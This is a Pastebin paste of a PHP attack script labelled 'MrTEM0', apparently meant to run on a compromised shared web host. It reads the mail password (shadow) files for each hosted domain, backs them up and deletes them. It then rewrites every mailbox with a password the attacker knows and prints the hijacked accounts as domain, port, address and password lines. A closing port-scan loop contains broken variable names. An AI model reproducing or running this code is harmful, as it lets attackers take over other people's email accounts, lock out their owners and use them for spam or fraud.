SHARE
TWEET

Untitled

a guest Sep 22nd, 2019 84 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. set_time_limit(0);
  3. ini_set('max_execution_time',0);
  4. ini_set('memory_limit',-1);
  5. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  6. $primary_port='25';
  7. $user=get_current_user();
  8. $password='MrTEM0';
  9. $pwd = crypt($password,'$6$MrTEM0$');
  10.  $t = $_SERVER['SERVER_NAME'];
  11.  $t = @str_replace("www.","",$t);
  12.  
  13. $dirs = glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR);
  14. foreach($dirs as $dir){
  15. $ex = explode("/",$dir);
  16. $site =  $ex[count($ex)-1];
  17. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$site.'/shadow');
  18. $ex=explode("\r\n",$passwd);
  19. @link('/home/'.$user.'/etc/'.$site.'/shadow','/home/'.$user.'/etc/'.$site.'/shadow.MrTEM0.bak');
  20. @unlink('/home/'.$user.'/etc/'.$site.'/shadow');
  21. foreach($ex as $ex){
  22. $ex=explode(':',$ex);
  23. $e= $ex[0];
  24. if ($e){
  25. $b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  26. echo '<span style=\'color:#0000ff;\'>'.$site.'|25|'.$e.'@'.$site.'|'.$password.'</span><br>';  "</center>";
  27. }}
  28. foreach ($ports as $port)
  29. {
  30.     $connection = @fsockopen($site, $port, $errno, $errstr, 2);
  31.     if (is_resource($chonnection))
  32.     {
  33.         echo '<span>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</span>' . ", ";
  34.         fclose($chonnection);
  35.     }
  36.    
  37. }
  38. echo "<br/>";
  39.  
  40. }
  41.  
  42. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top